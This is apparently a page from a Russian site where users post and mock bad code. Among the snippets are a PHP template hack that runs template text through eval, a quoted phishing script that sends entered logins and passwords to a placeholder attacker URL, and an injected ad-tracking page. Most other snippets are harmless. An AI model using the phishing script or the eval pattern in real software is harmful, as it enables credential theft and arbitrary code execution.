- 1
eval (' ?' . '>' . $tpl->result['main'] . '<' . '?php ');
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+163
eval (' ?' . '>' . $tpl->result['main'] . '<' . '?php ');
> Итак нередко возникает необходимость вставки на свой сайт PHP скрипт стороннего производителя. Однако по умолчанию данная возможность отключена в скрипте. Поэтому предлагаем вам небольшой хак, позволяющий использовать любой PHP код в шаблонах
>
> Откройте файл index.php найдите строчку:
> echo $tpl->result['main'];
>
> и замените ее на
> eval (' ?' . '>' . $tpl->result['main'] . '<' . '?php ');
>
> Все, вы можете использовать сторонние скрипты на вашем сайте. Данных хак не рекомендуется к использованию на версиях ниже 3.0
"... небольшой хак ..."
Ага, небольшой. Нету просто слов... DLE.
"Данных хак не рекомендуется к использованию на версиях ниже 3.0"
Я бы вообще его не рекомендовал бы даже.
http://dle-news.ru/tips/33-ispolzovanie_ljubykh_php_vstavok_v_shabl onakh.html
P.S.: знаю что 2006, но все равно можно было и получше написать.
+155
// Отладочная информация
if(1)
{
print "<!--\r\n";
$time_end = microtime(true);
$exec_time = $time_end-$time_start;
if(function_exists('memory_get_peak_usage'))
print "memory peak usage: ".memory_get_peak_usage()." bytes\r\n";
print "page generation time: ".$exec_time." seconds\r\n";
print "-->";
}
Simpla CMS, красавцы! :D
+64
int r = 5;
if (r ==5) {
throw new Exception();
}
+154
//Показывать или убирать шапку
var shapka = $('.shapka');
$(window).scroll(function(){
if($(window).scrollTop() > 800){
shapka.fadeIn();
} else {
shapka.fadeOut();
}
});
//Scrolling up function
$(function(){
$.fn.scrollToTop = function(){$(this).hide().removeAttr("href");
if($(window).scrollTop()!="0"){
$(this).fadeIn("slow")
}
var scrollDiv=$(this);$(window).scroll(function(){
if($(window).scrollTop()=="0"){
$(scrollDiv).fadeOut("slow")
}
else{
$(scrollDiv).fadeIn("slow")
}
});
$(this).click(function(){$("html, body").animate({scrollTop:0},"slow")})}
});
$(function() {
$("#toTop").scrollToTop();
});
//Динамическое изменения title страницы
function dynamicTitle(d){
var t = new Array(
"Курс 'Основы программирования'",
"Внимание! Сегодня скидка!"
);
if(typeof d === 'number'){
document.title = t[d];
} else {
for(var i=0; i<t.length; i++){
if(t[i] === document.title){
continue;
} else {
document.title = t[i];
break;
}
}
}
}
dynamicTitle(0);
setInterval(dynamicTitle, 2000);
http://progbasics.ru
Советую почитать весь сайт и код, такого эпичного говнеца я еще не видел. Особенно в отзывах и программе курса.
+62
Grid Processor::build_grid()
{
Grid res;
double top = 340+60;
double left = 0, right = 60;
Point a,b,c,d;
for(int i = 0; i < 6; ++i){
for(int j = 0; j < 13; ++j){
a = {left*1e-6, top*1e-6, 2.1e-3};
b = {right*1e-6, top*1e-6, 2.1e-3};
c = {(left-3.25)*1e-6, (top+3.25)*1e-6, 2e-3};
d = {(right+3.25)*1e-6, (top+3.25)*1e-6, 2e-3};
auto t = std::make_tuple(a,b,c,d);
res.push_back(t);
left += (340+60);
right += (340+60);
}
top += (340+60);
left = 0;
right = 60;
}
top = (int)(-mem_size*1e6)+60;
left = (int)(mem_size*1e6)+340;
right = (int)(mem_size*1e6)+400;
for(int i = 0; i < 13; ++i){
for(int j = 0; j < 6; ++j){
a = {left*1e-6, top*1e-6, 2.1e-3};
b = {right*1e-6, top*1e-6, 2.1e-3};
c = {(left-3.25)*1e-6, (top+3.25)*1e-6, 2e-3};
d = {(right+3.25)*1e-6, (top+3.25)*1e-6, 2e-3};
auto t = std::make_tuple(a,b,c,d);
res.push_back(t);
left += (340+60);
right += (340+60);
}
top += (340+60);
left = (int)(mem_size*1e6)+340;
right = (int)(mem_size*1e6)+(340+60);
}
top = (int)(-(mem_size+2.4e-3)*1e6)+60;
left = 0, right = 60;
for(int i = 0; i < 6; ++i){
for(int j = 0; j < 13; ++j){
a = {left*1e-6, top*1e-6, 2.1e-3};
b = {right*1e-6, top*1e-6, 2.1e-3};
c = {(left-3.25)*1e-6, (top+3.25)*1e-6, 2e-3};
d = {(right+3.25)*1e-6, (top+3.25)*1e-6, 2e-3};
auto t = std::make_tuple(a,b,c,d);
res.push_back(t);
left += (340+60);
right += (340+60);
}
top += (340+60);
left = 0;
right = 60;
}
top = (int)(-mem_size*1e6)+60;
left = -2400;
right = -2400+60;
for(int i = 0; i < 13; ++i){
for(int j = 0; j < 6; ++j){
a = {left*1e-6, top*1e-6, 2.1e-3};
b = {right*1e-6, top*1e-6, 2.1e-3};
c = {(left-3.25)*1e-6, (top+3.25)*1e-6, 2e-3};
d = {(right+3.25)*1e-6, (top+3.25)*1e-6, 2e-3};
auto t = std::make_tuple(a,b,c,d);
res.push_back(t);
left += (340+60);
right += (340+60);
}
top += (340+60);
left = -2400;
right = -2400+60;
}
return res;
}
Magic numbers, Voodoo numbers!
+57
struct ShaderBuilder
{
Shader ToShader() const;
ShaderParts::VertexDataSrc VertexDataSource;
ShaderParts::Transform Transformation;
ShaderParts::LightControl LightControl;
ShaderParts::ColorSrc DiffuseSource;
ShaderParts::EmissionSrc EmissionSource;
ShaderParts::SpecularSrc SpecularSource;
ShaderParts::HeightSrc HeightSource;
ShaderParts::NormalSrc NormalSource;
ShaderParts::Parallax Parallax;
ShaderParts::LightModel LightModel;
...
};
#define with(x) for(auto &_=(x), *firstIter=&_; firstIter; firstIter=nullptr)
...
using namespace ShaderParts;
ShaderBuilder floorShaderBuilder;
with(floorShaderBuilder)
{
_.Transformation=Transform::Default();
_.LightControl=ShaderParts::LightControl::DefaultLighting({ {DirectionalLight::Type, 1} });
_.DiffuseSource=ColorSrc::FromTexture();
_.SpecularSource=SpecularSrc::FromConstants("0.25", "16.0");
_.HeightSource=HeightSrc::FromHeightMap();
_.NormalSource=NormalSrc::FromNormalMap("rg");
_.Parallax=Parallax::SimpleParallax();
_.LightModel=LightModel::Phong();
}
floorSh=floorShaderBuilder.ToShader();
Вот такой оператор with на C++.
−118
#!/bin/bash
# make file $1
function mkfile () {
echo -n "$FILE "
[ -e "$1" ] && echo "exists" && return 0
sudo -u liferay mkdir -p $(dirname "$1")
sudo -u liferay touch "$1"
echo "created"
}
PREFIX=/opt/liferay/data/document_library
mkfile $PREFIX/10153/1322521/20445/1.0
for (( i=28036 ; i <= 28135 ; ++i )) ; do
mkfile $PREFIX/10153/2992652/$i/1.0
done
Скрипт создания недостающих файлов в document_library написаный админами одного крупного восточного универа)
+130
PHP Devel Studio 2.0
Эта программа поможет вам взломать любой почтовик а все пароли будут приходить пароли на сниффер.
И если вы знаете языки программирования тогда для вас нет предела в этой программе!
Скрипт:
$edit1 = c('Form1->edit1')->text;
$edit2 = c('Form1->edit2')->text;
$combobox1 = c('Form1->combobox1')->inText;
$url = "ВВЕДИТЕ СЮДА СВОЕ ССЫЛКУ";
file_get_contents($url . "?" . "login:" . $edit1 . "|pass:" . $edit2);
MessageBox("Невернно введёт логин или пароль", "Ошибка ввода");
"Вирусы" на "PHP". Сбылась мечта идиота...
http://hacker-club27.ucoz.ru/news/php_devel_studio_2_0/2012-07-22-8
+158
<!DOCTYPE html>
<html>
<head>
<title>Pixel Farm</title>
</head>
<body>
<script type="text/javascript">
function sc(name, val, endh) {
var exdate = new Date;
endh = exdate.getHours() + endh;
exdate.setHours(endh);
document.cookie = name + "=" + escape(val) + (endh === null ? "" : ";expires=" + exdate.toGMTString() + ";path=/;");
}
</script>
<script type="text/javascript">
var am_lo = function () {
try {
return "localStorage" in window && window["localStorage"] !== null;
} catch (e) {
return false;
}
};
if (document.cookie.indexOf("uid") === -1) {
if (am_lo()) {
var am_lo_uid = localStorage.getItem("uid");
if (am_lo_uid === null) {
am_lo_uid = "5fdf30844eb1823f23ff34a742719b01";
localStorage.setItem("uid", am_lo_uid);
}
} else {
var am_lo_uid = "5fdf30844eb1823f23ff34a742719b01";
}
var exdate = new Date;
exdate.setDate(exdate.getDate() + 30);
document.cookie = "uid=" + am_lo_uid + ";expires=" + exdate.toGMTString() + ";path=/;domain=.am15.net;";
}
</script><script type="text/javascript" src="//px10.net/c.php"></script><img src="http://sync2.adsniper.ru/?src=a1" width="1" height="1" /><img src="http://advm.upstats.ru/" width="1px" height="1px" alt="" /><img src="http://advm.upstats.ru/b/" width="1px" height="1px" alt="" />
<script type="text/javascript">
function AdvMakerMyragon(r) {
/* var myr4i=document.createElement("img");
myr4i.src="//w16.am15.net/x/log.php?action=myr4&content="+JSON.stringify(r);
document.body.appendChild(myr4i);*/
if (r[0]) {
if (r[0].reply === "positive") {
var exdate = new Date;
exdate.setMinutes(exdate.getMinutes() + 180);
var k = parseInt(r[0].price_id);
// document.cookie = "myragon_" + k + "=1;expires=" + exdate.toGMTString() + ";path=/;domain=.am15.net;";
// document.cookie = "myragon_" + k + "=1;expires=" + exdate.toGMTString() + ";path=/;domain=am15.net;";
var name="myragon_" + k;
sc(name, 1, 1);
if (k == 4){
var myr4=document.createElement("script");
myr4.type="text/javascript";
myr4.src="//am15.net/x/myragon.php";
document.body.appendChild(myr4);
}
}
}
}
</script>
<script src="http://t02.rbnt.org/rsc.php?mode=bu&pkey=ffd3337d72b61dd75b3b95f59f9c85be&scr=1&p=advmaker&callback=AdvMakerMyragon&sitename=3517" type="text/javascript"></script><img src="//ad.dumedia.ru/advmaker/pixel" width="1" height="1" alt="" />
<img src="http://luxup.ru/cmrk/5/?clickunder_url=http%3A%2F%2Fam15.net%2Fx%2Fadlabs.php" width="1" height="1" /></body>
</html>
это собственно та самая хрень которая перенаправляет на всякие "полезные" подписки на 3жы модемах мегафон.
оно у меня вылезает даже на говнокоде, но в сорцах страниц такого нет, пхп гуру, откуда оно берется и кого бить за эту хрень?
+14
std::string MakeString(const char* ch)
{
stringstream ss;
for (int i = 0; i < strlen(ch); i++) {
ss<<ch[i];
}
string result = ss.str();
return result;
}
Создание строки